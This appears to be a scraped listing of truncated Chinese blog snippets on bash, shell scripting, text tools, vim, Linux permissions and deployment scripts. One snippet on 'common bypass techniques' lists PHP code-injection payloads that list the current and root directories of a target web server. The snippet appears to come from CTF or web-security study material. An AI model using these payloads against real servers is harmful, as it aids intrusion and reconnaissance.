参数个数 判断输入的参数个数是否正确&#xff1a; if [ $# ! 3 ]; thenecho all params size is $#echo "USAGE: $0 param1 param2 param3"exit 1; fi如果未输入参数&#xff0c;使用默认&#xff0c;如果输入了参数&#xff0c;则使用参数&#xff1a; # tradeda…

configure、pkg-config、pkg_config_path三者的关系

简述configure、pkg-config、pkg_config_path三者的关系 学习┊工作相关 Mar 8th, 2010 easylife 一、什么是configure 源码安装过程中大多会用到configure这个程序&#xff0c;一般的configure都是一个script&#xff0c;执行时可以传入必要参数告知配置项目。 configure程序…

【CSH 入门基础 5 番外篇 -- zsh和bash区别及其使用介绍】

文章目录 1.1 zsh 和 bash 的区别1.1.1 oh-my-zsh 介绍1.1.2 zsh 插件 zsh-autosuggestions.zsh 1.1 zsh 和 bash 的区别 在Linux环境下&#xff0c;Bash和Zsh都是非常常见的Shell环境&#xff0c;它们都可以用来执行命令行指令&#xff0c;运行脚本等&#xff0c;但是它们之间…

linux下用脚本将目录内的文件分类到各自的创建年份(如2023)或年月份(如2023/202308)目录内

第一个if判断语句中判定只有是文件的时候才执行mv操作&#xff0c;并忽略一些特定 第二个if判断目录不存在时创建目录 最后mv文件到目录内 脚本执行前目录内容&#xff1a; 2022-01-file 2023-02-file 脚本执行后目录内容&#xff1a; 2022 |2022-01-file 2023 |2023-02-file …

Windows系统中使用bat脚本启动git bash 并运行指定命令 - 懒人一键git更新

目标 双击"autoGitPull.bat"&#xff0c;自动打开git bash&#xff0c;并cd到项目&#xff0c;逐个git pull&#xff0c;保留git bash窗口展示进度。 脚本 start "" "D:\Program Files\Git\git-bash.exe" -c "echo autoGitPull &&…

macbook压缩会自动生成一个__MACOSX文件夹

文章目录 背景解决方法总结 背景 在Mac上&#xff0c;当你使用压缩工具&#xff08;如Finder自带的压缩功能或终端中的命令行压缩&#xff09;对文件或文件夹进行压缩时&#xff0c;可能会生成一个名为"__MACOSX"的文件夹。 解决方法 这个文件夹主要用于存储Mac O…

【BASH】回顾与知识点梳理(二十五)

【BASH】回顾与知识点梳理 二十五 二十五. 特殊shell、PAM 模块、讯息传递和大量建置账号25.1 特殊shell特殊的 shell, /sbin/nologin 25.2 PAM模块25.3 Linux 主机上的用户讯息传递查询使用者&#xff1a; w, who, last, lastlog使用者对谈&#xff1a; write, mesg, wall使用…

执行shell脚本报错:Syntax error “(” unexpected

现象 在centos下可以运行的脚本&#xff0c;拷贝到ubuntu下直接执行报错&#xff1a; ./restart.sh: 5: ./restart.sh: Syntax error: "(" unexpected检查脚本没有问题&#xff0c;使用命令调试执行脚本时也没有问题&#xff1a; bash -x restart.sh奇怪了。 排查…

Shell脚本之sed(基础用法)

目录 sed命令 sed数据处理原理 sed命令 sed脚本格式 sed小技巧 总结 sed命令 sed是linux中提供的一个外部命令,它是一个行(流)编辑器&#xff0c;非交互式的对文件内容进行增删改查的操作&#xff0c;使用者只能在命令行输入编辑命令、指定文件名&#xff0c;然后在屏幕…

linux调整分配/tmp空间大小

方式1.删除里面的不要的内容; 方式2.重新分配大小. 方式二如下&#xff0c; 在/etc/fstab内是可以更改/tmp分配的大小的&#xff0c;如下&#xff08;修改为2G大小&#xff09;&#xff1a; vim /etc/fstab修改下面一行(没有的话加入这行) tmpfs /tmp tmpfs nodev,nosuid,size…

ldd命令查看命令依赖的库文件

例如需要查看ls命令的执行需要用到哪些库文件 执行ldd /usr/bin/ls [rootlocalhost 桌面]# ldd /usr/bin/lslinux-vdso.so.1 (0x00007ffffe36d000)libselinux.so.1 > /lib64/libselinux.so.1 (0x00007effc8696000)libcap.so.2 > /lib64/libcap.so.2 (0x00007effc868f000…

awk语法与文本应用处理

转自&#xff1a;http://blog.csdn.net/tianmohust/article/details/6970271 awk命令的一般形式&#xff1a; awk BEGIN {actions} pattern1 {actions} pattern2 {actions} ... patternN {actions} END {actions} input-filename 其中&#xff…

shell脚本多实例部署mysql

shell脚本多实例部署mysql 创建一个目录&#xff0c;用来存放脚本和安装包 [rootlocalhost opt]# mkdir mysql [rootlocalhost opt]# cd mysql/ [rootlocalhost mysql]# mkdir packages [rootlocalhost mysql]# touch install.sh [rootlocalhost mysql]# ls install.sh pack…

grep的语法和用法

转自&#xff1a;http://blog.csdn.net/tianmohust/article/details/6970242 grep命令的格式&#xff1a; grep [options] PATTERN [FILE] 其中&#xff1a; 1&#xff0c;pattern是用正则表达式书写的模式。 2&#xff0c;FILE是要查找的文件&#xff0c;可以是用空格…

shell脚本部署lamp

shell脚本部署lamp 创建一个目录&#xff0c;用来存放脚本和安装包。 [rootlocalhost ~]# cd /opt/ [rootlocalhost opt]# ls lamp [rootlocalhost opt]# cd lamp/ [rootlocalhost lamp]# ls install.sh packages下载好对应的安装包 [rootlocalhost lamp]# ls lamp.sh pack…

linux常用知识汇总

文章目录文件及文件夹操作防火墙服务权限文件及文件夹操作 参考文章 linux查找文件命令有哪些 ls 列出目录内容 ll 列出目录下详细信息&#xff0c;包括读写权限 grep 查找文件内容 查找mysqld.log日志下的password句子 grep "password" /var/log/mysqld.log查找文…

阵列无法解挂导致VCS双机倒换失败

现场环境&#xff1a; SUSE9SP3 linux VCS4.1双机&#xff0c;下挂华赛S2300E阵列。 问题描述&#xff1a; 执行双机切换命令&#xff0c;在hagui中发现共享日志阵列设备idea_log无法倒换&#xff0c;导致切换失败。处理&#xff1a;1.打开该机挂接日志mount.log&#xff0c;发…

vi查找替换命令详解

转自&#xff1a;http://blog.csdn.net/lanxinju/article/details/5731843 一、查找 查找命令 /pattern<Enter> &#xff1a;向下查找pattern匹配字符串 ?pattern<Enter>&#xff1a;向上查找pattern匹配字符串 使用了查找命令之后&#xff0c;使用如下两个…

常见的绕过姿势(续)

8.扫描目录&#xff1a; print_r扫描⽬录cprint_r(scandir(.));#查看当前目录cprint_r(scandir(/));#查看根目录cprint_r(glob(*));#查看当前目录cprint_r(glob(/*));#查看根目录 var_dump扫描⽬录cvar_dump(scandir(.));#查看当前目录cvar_dump(scandir(/));#查看根目录cvar…

Bash Offical Download Site

Bash download site is : ftp://ftp.gnu.org/gnu/bash/

Shell根据文本内容批量修改文件名(附完整代码)

Shell根据文本内容批量修改文件名 开始之前讲一下重命名规则&#xff0c;在Linux文件夹里面按照指定文本内容搜索是否存在该文件&#xff0c;如果存在就按照文本规则替换成对应名称。 一、前期准备 1、准备一个改名规则replace.txt文本(我这里取名这个&#xff0c;你们不喜欢…

linux用户组操作文档

1&#xff0c;帐户实质 linux是个多用户操作系统&#xff0c;如许很多个用户登录操作系统&#xff0c;每个用户有不同的工作环境&#xff0c;包括shell和x&#xff0d;windows 我们能够实验一下&#xff0c;并且找出任何的用户所在的tty 2&#xff0c;用户和组 Linux帐…

[linux][bash]让切换目录更方便: pushd,popd,dirs,cd -

让切换目录更方便: pushd,popd,dirs,cd - 一&#xff0c;为何要使用这几个命令? 可能大家会有疑问&#xff0c;为何要使用这几个命令&#xff0c; 难道用cd不就可以切换目录了吗&#xff1f; 没错&#xff0c;使用cd就可以切换到需要访问的目录&#xff0c; 但是…

Linux/Unix shell脚本全面学习

建立一个脚本Linux中有好多中不同的shell&#xff0c;但是通常我们使用bash (bourne again shell) 进行shell编程&#xff0c;因为bash是免费的并且很容易使用。所以在本文中笔者所提供的脚本都是使用bash&#xff08;但是在大多数情况下&#xff0c;这些脚本同样可以在 bash的…

centos7 部署kubernetes(带自动部署脚本)

目录 一、实验规划 1、规划表 2、安装前宿主机检查 1.配置主机名 2.制作ssh免密&#xff08;VM1中执行&#xff09; 3.修改hosts 文件 4. 修改内核相关参数 5.加载模块 6. 清空iptables、关闭防火墙、关闭交换空间、禁用selinux 7. 安装ipvs与时钟同步 8.配置docker的…

Linux shell 特殊符号学习总结

在shell中常用的特殊符号罗列如下&#xff1a;# ; ;; . , / \ string| ! $ ${} $? $$ $* "string"* ** ? : ^ $# $ command{} [] [[]] …

linux sticky bit 目录权限 rwt权限

今天看到有个目录的权限是rwxrwxrwt 很惊讶这个t是什么&#xff0c;怎么不是x或者-呢&#xff1f;搜了下发现&#xff1a; 这个t代表是所谓的sticky bit。 sticky bit: 该位可以理解为防删除位. 一个文件是否可以被某用户删除, 主要取决于该文件所属的组是否对该用户具有写权…

【BASH】回顾与知识点梳理(二十一)

【BASH】回顾与知识点梳理 二十一 二十一. Linux 的文件权限与目录配置21.1 使用者与群组属主(文件拥有者)属组(群组概念)其他人的概念root(万能的天神)Linux 用户身份与群组记录的文件 21.2 Linux 文件权限概念Linux 文件属性Linux 文件权限的重要性 21.3 如何改变文件属性与权…

【BASH】回顾与知识点梳理(二十六)

【BASH】回顾与知识点梳理 二十六 二十六. 二十一至二十五章知识点总结及练习26.1 总结26.2 模拟26.3 简答题 该系列目录 --> 【BASH】回顾与知识点梳理&#xff08;目录&#xff09; 二十六. 二十一至二十五章知识点总结及练习 26.1 总结 Linux 操作系统上面&#xff0c…

shell使用总结

一、语法 数据类型 字符串 如果没有特殊说明&#xff0c;数据类型默认都是字符串。常见字符串操作有&#xff1a; 已知变量strabcabc 1、切片 echo ${str:1:3} #${varName:offset:size},分页取子串 echo ${str:2} #${varName:offset},偏移offset个字符取至末端 echo …

【BASH】回顾与知识点梳理(二十三)

【BASH】回顾与知识点梳理 二十三 二十三. Linux 账号管理&#xff08;二&#xff09;23.1 账号管理新增与移除使用者&#xff1a; useradd, 相关配置文件, passwd, usermod, userdelusermoduserdel 23.2 用户功能&#xff08;普通用户可使用&#xff09;idfingerchfnchsh 23.3…

【BASH】回顾与知识点梳理(二十七)

【BASH】回顾与知识点梳理 二十七 二十七. 磁盘配额(Quota)27.1 磁盘配额 (Quota) 的应用与实作什么是 QuotaQuota 的一般用途Quota 的使用限制Quota 的规范设定项目 27.2 一个 XFS 文件系统的 Quota 实作范例实作 Quota 流程&#xff1a;设定账号实作 Quota 流程-1&#xff1a…

【shell脚本编写】shell编写常用命令

工具 linux 命令搜索 获取目录和文件名 # dirname 获取目录名&#xff08;路径名&#xff09; [rootlocalhost ~]# dirname /etc/init.d/acpid /etc/init.d# 脚本中的应用 #!/bin/sh # 跳转到脚本所在目录 # $0 为执行脚本时候 指定的脚本路径和脚本名称的组合 # sh /b…

【转载】使用Cobra开发自己的命令行工具

Cobra 项目地址&#xff1a;https://github.com/spf13/cobra 0 装载自 使用Cobra开发自己的命令行工具 1 新建cobra项目 # 安装cobra-cli工具 go install github.com/spf13/cobra-clilatest # 新建项目目录 mkdir -p newApp # 进入项目文件夹 cd myApp # 初始化 go mod ini…

环境变量配置以mysql为例

环境变量的配置 有时候我们安装一个可执行程序&#xff0c;他的路径很长&#xff0c;每次使用时候都要记住他的路径&#xff0c;很麻烦&#xff0c;那么就可以将这个可执行文件配置到环境变量里面。 环境配置文件 bash会在用户登录时&#xff0c;读取下列四个环境配置文件&a…

<<-EOF、whoami、spawn、expect、interact、sudo、su用法

<<EOF 在shell脚本中(bash编程),<<EOF表示后续的输入作为子命令或子Shell的输入,直到遇到EOF为止,再返回到主Shell <<-EOF 去掉命令中的制表符 案例:写入一段话到a.txt。当前目录下就有a.txt这个文件了,内容:I need more money cat >a.txt <…

第六章 ---- 创建高级 Shell 脚本

第六章 ---- 创建高级 Shell 脚本使用命令替换expr 命令test 命令在 Shell 脚本中使用编程构造编写脚本问价的步骤执行脚本的方式if 构造case ... esac 构造while 构造until 构造for 构造continuebreak处理 Shell 脚本中的参数调回 Shell 脚本使用 Shell 脚本的 Linux 服务管理…

WSL2下环境变量PATH问题

在WSL下编译&#xff0c;时常出现如下错误&#xff1a; find /home/ning/lede/build_dir/target-mipsel_24kc_musl/root-ramips/ -mindepth 1 -execdir touch -hcd “1641871960” “{}” find: The relative path ‘Files/dotnet/’ is included in the PATH environment va…

shell基本函数(系统函数与用户自定义函数)

目录 函数 系统函数&#xff1a; 获取文件名 获取绝对路径 自定义函数 语法 例子&#xff1a;计算两数之和&#xff0c;使用调用函数 函数 分为系统函数与用户自定义函数 系统函数&#xff1a; 获取文件名 basename:返回完整路径的最后一个/后面的部分&#xff0c…

SHELL字符串处理技巧(${}、##、%%)

【转载】SHELL字符串处理技巧&#xff08;${}、##、%%&#xff09; 转载自&#xff1a;http://www.cnblogs.com/pmars/archive/2013/02/17/2914444.html 字符串处理方法 ${#VALUE} 计算VALUE字符串的字符数量。 ${VALUE%.*}或${VALUE%%.*} 删除VALUE字符串中以分隔符“.”匹配…

shell之变量默认值

{var:-default_value} 当var 不存在&#xff0c;或者值为空时&#xff0c;返回default_value name不存在&#xff0c;返回了一个默认值&#xff0c;但是name并没有改变&#xff0c; 后续不可访问 $ set -u # 打开访问不存在的对象将报错&#xff0c; set u关闭 $ unset name…

shell之read

read顾名思义就是读取数据&#xff0c;从用户输入读取信息存入指定变量中。 1. 默认读取&#xff0c;存放在REPLY 不指定存储变量时&#xff0c;默认存储在REPLY变量中 #!/usr/bin/env bash # 文件名read.sh read echo echo $REPLY$ ./read.sh hellohello2. 指定存储位置 …

MySQL死锁解决

查看mysql存储引擎模式&#xff1a; SHOW ENGINES; 查看事务提交模式&#xff1a; SHOW SESSION VARIABLES LIKE ‘autocommit’; SHOW GLOBAL VARIABLES LIKE ‘autocommit’; Value的值为ON&#xff0c;表示autocommit开启。OFF表示autocommit关闭。 查看锁记录等待时间…

redis成功启动配置文件不生效

redis成功启动配置文件不生效 个人贪图简便&#xff0c;使用brew安装redis&#xff0c;可在任何位置直接启动redis&#xff0c;有以下操作 redis-server & redis-server & /usr/local/etc/redis.conf这两种方式都能成功启动redis&#xff0c;但是在redis.conf中设置的…

brew安装Redis redis.conf文件位置

brew install redis 几个命令 brew install redis #brew 安装redis brew list redis #查看redis安装的位置 cd #打开对应位置 open . #在terminal当前位置打开访达安装都要设置redis.conf 但是redis.conf并不在这个文件夹中 这里有一个homebrew.mxcl.redis.plist…

【一】从头打造自己的Linux -- 创建临时编译环境

[b]准备工作&#xff1a;[/b]1. 你可能需要一张LFS live CD&#xff0c;或者预装任何一种带GCC的linux来作为开发安装环境&#xff0c;我用的Live CD版本是6.3 R2145&#xff0c;你可以看到&#xff0c;其实你可以用任何一个LFS的live cd&#xff0c;因为我们大部分东西都是从网…

Spring使用@Scheduled注解实现定时任务

文章目录启动类配置定义详细说明fixedDelayfixedRatecron特殊字符扩展异步执行Spring TaskSpringBoot项目中&#xff0c;通过在方法上添加注解 Scheduled来实现定时任务启动类 启动类里面使用EnableScheduling注解开启功能&#xff0c;自动扫描 SpringBootApplication Enable…

shell脚本笔记(二)shell script入门

shell编码规范 代码规范例如: #!/bin/bash # 在shell脚本的开头往往有#!打头的一句话来定义使用哪种sh解释器来解释该脚本,但是#后面就是注释 Shell相关命令#! 是一个约定的标记&#xff0c;它告诉系统这个脚本需要什么解释器来执行&#xff0c;即使用哪一种 Shell。 文件…

【Windows常用快捷键and常用dos命令】

Windows常用快捷键 CtrlC&#xff1a;复制 CtrlV&#xff1a;粘贴 CtrlA&#xff1a;全选 CtrlX&#xff1a;剪切 CtrlZ&#xff1a;撤销 CtrlS&#xff1a;保存 altF4&#xff1a;关闭窗口 shiftdelete&#xff1a;永久删除 windowsr&#xff1a;打开命令行窗口 win…

Ubuntu下Expect自动登录脚本

安装expect sudo apt install expect编写脚本 touch $HOME/.monitor_auto_test && chmod x $HOME/.monitor_auto_test vim $HOME/.monitor_auto_test#!/usr/bin/expect set timeout 30 #窗口调整 trap {set rows [stty rows]set cols [stty columns]stty rows $rows …

ubuntu20.4无法生成core文件如何解决

1、查看coredump是否打开 首先进入root模式&#xff0c;查看当前core文件大小的限制 ulimit -c得到的结果跟对应含义如下&#xff1a; 0 表示关闭&#xff0c;不会生成core文件unlimited 表示core文件的大小无限制 2、修改core文件大小限制 可以使用下面的命令来修改这一值…

BASH编程,SHELL编程等号前后不能空格

变量赋值时&#xff0c;号前后都不能有空格&#xff0c; 否则无法赋值成功。 变量赋值时&#xff0c;“”前后不能有空格引用数组全部时&#xff0c;要加“[]”&#xff0c;否则只能引用地一个连接字符串时&#xff0c;使用双引号&#xff0c;不用加“."和PHP不同。 #!/…

jar包启动/停止脚本

#!/bin/bash #这里可替换为你自己的执行程序&#xff0c;其他代码无需更改 APP_NAMEXXXX.jar#使用说明&#xff0c;用来提示输入参数 usage() {echo "Usage: sh 脚本名.sh [start|stop|restart|status]"exit 1 }#检查程序是否在运行 is_exist(){pidps -ef|grep $APP_…

bash: make: command not found

make之后报错信息如下&#xff1a;cd 对应的文件路径后 make 发现报错&#xff1a;bash: make: command not found 这个原因可能是没有安装make工具,也可能是安装了make之后,没有将make的文件路径添加到系统环境变量中 有没有安装make,可以使用Search Everything搜索是否有make…

bash: sudo: command not found的解决方法 | 安装sudo

-bash: sudo: command not found的解决方法 https://www.cnblogs.com/pengpengboshi/p/16159443.html 报错 安装apt-get update报错由于没有公钥&#xff0c;无法验证下列签名&#xff1a; NO_PUBKEY A4B469963BF863CC解决办法是手动加入 &#xff08;sudo可去掉&#xff09;…

linux centos7 bash中字符串反向输出

给定一个字符串&#xff0c;如何反向(倒序)输出&#xff1f; 字符串反转的方法&#xff1a;a.对各个字符位置进行循环调换&#xff08;从原字符串左边取出放在新字符串的右边&#xff1b;从原字符串右边取出放在新字符串的左边&#xff09;。b.对各个字符由水平排列转为垂直排…

Shell脚本 - $@和$*的区别

首先&#xff0c;我们看两段代码和输出结果&#xff1a; $ #!/bin/bash for comman in "$" doecho "$comman" done当我们以这个方式执行&#xff1a;./for.sh 1 2 3 输出结果&#xff1a; 1 2 3$* #!/bin/bash for comman in "$*" doecho …

【BASH】回顾与知识点梳理(二十九)

【BASH】回顾与知识点梳理 二十九 二十九. 进程和工作管理29.1 什么是进程 (process)进程与程序 (process & program)子进程与父进程&#xff1a;fork and exec&#xff1a;进程呼叫的流程系统或网络服务&#xff1a;常驻在内存的进程 29.2 Linux 的多人多任务环境多人环境…

【BASH】回顾与知识点梳理(三十一)

【BASH】回顾与知识点梳理 三十一 三十一. 进程的管理31.1 给进程发送讯号kill -signal PIDlinux系统后台常驻进程killall -signal 指令名称 31.2 关于进程的执行顺序Priority 与 Nice 值nice &#xff1a;新执行的指令即给予新的 nice 值renice &#xff1a;已存在进程的 nice…

【BASH】回顾与知识点梳理(三十二)

【BASH】回顾与知识点梳理 三十二 三十二. SELinux 初探32.1 什么是 SELinux当初设计的目标&#xff1a;避免资源的误用传统的文件权限与账号关系&#xff1a;自主式访问控制, DAC以政策规则订定特定进程读取特定文件&#xff1a;委任式访问控制, MAC 32.2 SELinux 的运作模式安…

【BASH】回顾与知识点梳理(三十六)

【BASH】回顾与知识点梳理 三十六 三十六. 认识与分析登录档36.1 什么是登录档CentOS 7 登录档简易说明登录档的重要性Linux 常见的登录档档名登录档所需相关服务 (daemon) 与程序CentOS 7.x 使用 systemd 提供的 journalctl 日志管理 登录档内容的一般格式 36.2 rsyslog.servi…

bash: 两个中划线的作用;一个中划线

一个是作为长的命令参数的前缀&#xff1b; 如果单独的两个中划线&#xff0c;就代表参数选项的结束。–后面的的不再是option。 – A – signals the end of options and disables further option processing. Any arguments after the – are treated as filenames and argu…

服务器自动备份、打包、传输脚本

备份脚本 #!/bin/bash #author cheng #备份服务器自动打包归档每天的备份文件 Path/backhistory Host$(hostname) Date$(date %F) Dest${Host}_${Date}#创建目录 mkdir -p ${Path}/${Dest}#打包文件到目录 cd / && \#结合autoback.sh脚本&#xff0c;它往那个地方备&a…

【BASH】回顾与知识点梳理(三十九)

【BASH】回顾与知识点梳理 三十九 三十九. make、tarball、函数库及软件校验39.1 用 make 进行宏编译为什么要用 makemakefile 的基本语法与变量 39.2 Tarball 的管理与建议使用原始码管理软件所需要的基础软件Tarball 安装的基本步骤一般 Tarball 软件安装的建议事项 (如何移除…

前端必备npm命令

npm npm&#xff08;Node Package Manager&#xff09;是一个用于管理和共享JavaScript代码包的工具。主要作用是提供一种简单的方式来安装、更新、卸载和发布JavaScript包。它允许开发者从npm仓库中获取其他开发者已经创建的代码包&#xff0c;并将这些包集成到自己的项目中。…

【yolov系列:yolov7改进添加SE注意力机制】

yolo系列文章目录 学习视频&#xff1a; YOLOV7改进-添加注意力机制_哔哩哔哩_bilibili 文章目录 yolo系列文章目录一、SE注意力机制是什么&#xff1f;二、yolov7改进添加SE注意力机制1.首先从github粘贴SE.py2.复制109行的conv3.在sppc加注意力机制 三、添加注意力机制在Conc…

windows下在cmd和git bash中执行bash download.sh失败

cmd报错信息&#xff1a; 解决办法&#xff1a; win64-wget-1.21.4 安装软件wget&#xff0c;如下这是64位的包&#xff0c;解压后&#xff0c;下面有个wget.exe&#xff0c;拷贝到C:\Windows\System32、 然后打开cmd&#xff0c;执行wget -V 如上&#xff0c;有版本信息就O…

【BASH】回顾与知识点梳理(十七)

【BASH】回顾与知识点梳理 十七 十七. 什么是 Shell scripts17.1 干嘛学习 shell scripts自动化管理的重要依据追踪与管理系统的重要工作简单入侵检测功能连续指令单一化简易的数据处理跨平台支持与学习历程较短 17.2 第一支 script 的撰写与执行撰写第一支 script 17.3 撰写 s…

自建hexo博客并将原有的文章发布其上

1、保存粘贴到memo9中的博客文章&#xff0c;并将txt转换成word文档 varPowerShellPath, CommandLine: string; // , ScriptPath begin//save to txtMemo9.Lines.SaveToFile(test.txt);memo10.Lines.SaveToFile(txt2word.ps1);//save as docxPowerShellPath : powershell.exe…

Linux下编译arm 32 出错(/bin/bash: arm-none-linux-gnueabi-gcc: command not found )

一、arm-none-linux-gnueabi-gcc不能再64位系统下下编译ARM的32位库的问题解决方法如下&#xff1a; sudo apt-get install lib32stdc6 sudo apt-get install lib32ncurses5 sudo apt-get install lib32z1 二、交叉编译工具没有写入环境变量或写错&#xff0c;重新写入环境变量…

Linux centos7 bash编程(小练习)

一、打印九九乘法口诀 这一个for循环嵌套的小练习&#xff0c;难度不大。提供一种写法&#xff0c;供参考&#xff1a; #!/bin/bash # 文件名&#xff1a;99table.sh # 打印输出九九乘法口诀表 for i in {1..9} do for ((j1;j<$i;j)) do …

本地搭建CFimagehost私人图床——“cpolar内网穿透”

文章目录 1.前言2. CFImagehost网站搭建2.1 CFImagehost下载和安装2.2 CFImagehost网页测试2.3 cpolar的安装和注册 3.本地网页发布3.1 Cpolar临时数据隧道3.2 Cpolar稳定隧道&#xff08;云端设置&#xff09;3.3.Cpolar稳定隧道&#xff08;本地设置&#xff09; 4.公网访问测…

【linux命令讲解大全】010. mapfile命令和tempfile命令的用法及示例

文章目录 mapfile概要主要用途选项参数返回值例子 tempfile补充说明tempfile 命令$$ 变量 从零学 python mapfile 从标准输入读取行并赋值到数组。 概要 mapfile [-d delim] [-n count] [-O origin] [-s count] [-t] [-u fd] [-C callback] [-c quantum] [array] 主要用途 …

Linux centos7 bash编程(break和continue)

在学习shell知识时&#xff0c;简单编程要从格式入手。 首先学习好单行注释和多行注释。 先学习简单整数的打印输出&#xff0c;主要学习echo命令&#xff0c;学习选项-e -n的使用。 下面的练习是常用的两个分支程序&#xff1a;break和continue。 #!/bin/bash # 这是单行注…

SpringBoot项目(jar)部署,启动脚本

需求 SpringBoot项目&#xff08;jar&#xff09;部署&#xff0c;需要先关闭原来启动的项目&#xff0c;再启动新的项目。直接输入命令&#xff0c;费时费力&#xff0c;还容易出错。所以&#xff0c;使用脚本启动。 脚本 脚本名&#xff1a;start.sh 此脚本需要放置在jar包…

shell脚本中linux命令的特殊用法记录

shell脚本中linux命令的特殊用法记录 1、linux命令特殊参数选项1.1、set -e1.2、echo -e 2、 shell 扩展2.1、[[ ]]支持用~进行正则匹配2.2、$1 ${1} 的区别 3、特殊命令用法3.1、{} 变量替换3.2、sed 替换3.2.1、搜索并替换某个字符串3.2.2、搜索并替换整行 1、linux命令特殊参…

bash: cmake: command not found...+++++++lsb_release: command not found

一 .bash: cmake: command not found… centos中安装那个cmake。 1、问题 [rootPC3 home]# cmake bash: cmake: command not found... Similar command is: make当前系统&#xff1a; [rootPC3 home]# lsb_release -a LSB Version: :core-4.1-amd64:core-4.1-noarch:cxx…

【BASH】回顾与知识点梳理(三十)

【BASH】回顾与知识点梳理 三十 三十. 进程的观察30.1 ps &#xff1a;将某个时间点的进程运作情况撷取下来仅观察自己的 bash 相关进程&#xff1a; ps -l观察系统所有进程&#xff1a; ps aux 30.2 top&#xff1a;动态观察进程的变化30.3 pstree 该系列目录 --> 【BASH】…

【BASH】回顾与知识点梳理(二十八)

【BASH】回顾与知识点梳理 二十八 二十八. 例行性工作排程(crontab)28.1 什么是例行性工作排程Linux 工作排程的种类&#xff1a; at, cronCentOS Linux 系统上常见的例行性工作 28.2 仅执行一次的工作排程atd 的启动at 的运作方式实际运作单一工作排程at 工作的管理batch&…

shell和Python 两种方法分别画 iostat的监控图

在服务器存储的测试中,经常需要看performance的性能曲线&#xff0c;这样最能直接观察HDD或者SSD的性能曲线。 如下这是一个针对HDD跑Fio读写的iostat监控log,下面介绍一下分别用shell 和Python3 写画iostat图的方法 1 shell脚本 环境:linux OS gnuplot工具 第一步 :解析iosta…

Bash语句中的循环语句注意事项

case #!/bin/bashcase $1 in9)echo "nine";;8)echo "eight";;7)echo "seven";;*)echo "others";; esaccase后面一定是 ‘in’ 而不是 ‘’ 或者 ‘-eq’ &#xff1b;每个语句后面的 ‘;;’ 一定要加&#xff0c;因为 ‘;;’ 相当于b…

Linux centos7 bash编程小训练

训练要求&#xff1a; 求比一个数小的最大回文数 知识点&#xff1a; 一个数字正读反读都一样&#xff0c;我们称为回文数&#xff0c;如5、11、55、121、222等。 我们训练用bash编写一个小程序&#xff0c;由我们标准输入一个整数&#xff0c;计算机将显示出一个比这个数小…

什么是命令行、shell、bash、终端(terminal)

命令行指的是shell。shell就是一个程序&#xff0c;它接受从键盘输入的命令&#xff0c;然后把命令传递给操作系统去执行。 Linux提供一个名为bash的shell程序。“bash”是“Bourne Again SHell”的首字母缩写&#xff0c;表面明bash是最初Unix上由Steve Bourne写成shell程序s…

shell中[[]]与[],=、==和-eq的辨析

1、、和-eq 在shell中&#xff0c;和运算符都可以用于判断两个字符串、两个字符串变量是否相同&#xff0c; 支持模式匹配&#xff0c;而 不支持模式匹配。 使用 -eq 来判断两个整数是否相等。 # 字符串比较 # 给变量赋值时&#xff0c;等号前后没有空格&#xff0c;有空格时…

Linux CentOS7 vim临时文件

在vim中&#xff0c;由于断网、停电、故意退出、不小心关闭终端等多种原因&#xff0c;正在编辑的文件没有保存&#xff0c;系统将会为文件保存一个交换文件&#xff0c;或称临时文件&#xff0c;或备份文件。 如果因某种原因产生了交换文件&#xff0c;每次打开文件时&#x…

Linux CentOS7 vim多文件编辑

使用vim编辑多个文件&#xff0c;十分常用的操作。本文从打开、显示、切换文件到退出&#xff0c;进行简单讨论。 由于是在一个窗口中&#xff0c;打开、编辑多个文件时&#xff0c;并不能同时编辑与查看&#xff0c;只能一次显示一个文件&#xff0c;编辑一个文件。按正常编辑…

BASH shell脚本篇2——条件命令

这篇文章介绍下BASH shell中的条件相关的命令&#xff0c;包括&#xff1a;if, case, while, until, for, break, continue。之前有介绍过shell的其它基本命令&#xff0c;请参考&#xff1a;BASH shell脚本篇1——基本命令 1. If语句 if语句用于在顺序执行语句的流程中执行条…

【yolo系列:YOLOV7改进-添加EIOU,SIOU,AlphaIOU,FocalEIOU.】

yolo系列文章目录 在YoloV7中添加EIoU,SIoU,AlphaIoU,FocalEIoU,Wise-IoU. 2023-2-7 更新 yolov7添加Wise-IoUB站链接 重磅&#xff01;&#xff01;&#xff01;&#xff01;&#xff01; YOLO系列模型改进损失函数 文章目录 yolo系列文章目录一、初始的yolov7损失函数二、首…

玩转Linux Shell Terminal Tmux

一、Shell编程☘️ 1. Shell指令快捷操作 1. echo # 系统指令 $ echo $(pwd) # 对于系统自带的pwd&#xff0c;此处不能写echo $pwd# 自定义变量 $ foo$(pwd) $ echo $foo # 不同于pwd&#xff0c;对于自定义的foo&#xff0c;不能用$(foo)2. !! # 假设你先执行了以下原本…

crontab报错/var/spool/cron : Permission denied和 -bash: chattr: command not found

crontab报错/var/spool/cron : Permission denied和 -bash: chattr: command not found 1、第一种情况2、第二种情况3、第三种情况 1、第一种情况 centos7下修改定时任务crontab -e的时候&#xff0c;控制台输出“crontab: installing new crontab”&#xff0c;表示任务添加成…

Linux基础指令(五)

目录 前言1. 打包和压缩1.1 是什么1.2 为什么1.3 怎么办&#xff1f; 2. zip & unzip3. tar 指令结语&#xff1a; 前言 欢迎各位伙伴来到学习 Linux 指令的 第五天&#xff01;&#xff01;&#xff01; 在上一篇文章 Linux基本指令(四) 当中&#xff0c;我们学习了 fin…

Java 解析 cURL(bash) 命令

解析 cURL&#xff08;bash&#xff09; 命令 废话不多说&#xff0c;都在 &#x1f37b;代码里了。 package com.jerry.utils;import lombok.AllArgsConstructor; import lombok.Data; import lombok.extern.slf4j.Slf4j;import java.util.List; import java.util.Map; import…

模拟器-雷电-使用adb push或adb pull操作文件

一、环境 windows 10 雷电模拟器4.0.83 二、问题 有时候我们会需要往模拟器拷贝文件或者复制文件到我的电脑 三、方法 1、获取root权限 adb root adb remount 有可能遇到【daemon not running; starting now at tcp:5037】的报错 查看端口占用进程&#xff1a;netstat -…

Linux CentOS7sed的替换及逆转功能

在各项工作&#xff0c;需要大量的文本处理。有时&#xff0c;想把文件按行翻转一下&#xff0c;最后一行显示在第一行&#xff0c;倒数第二行显示在正数第二行&#xff0c;等等。这是行的逆转要求&#xff0c;可以通过命令tac对文件操作&#xff0c;达到目的&#xff1b;有时&…

Linux centOS7 bash编程小技巧

本文中&#xff0c;我们将分享多个高效可靠的 bash 脚本的实用技巧&#xff0c;它们包括如何命令文件、如何命名变量而不随意命名、如何使用数据和函数&#xff0c;如何运行脚本和测试脚本。 1.文件名 虽然在linux中有没有文件名后缀都可以&#xff0c;但为了区别其他文件&am…

linux出现“yum: Comman not found.”的解决方法

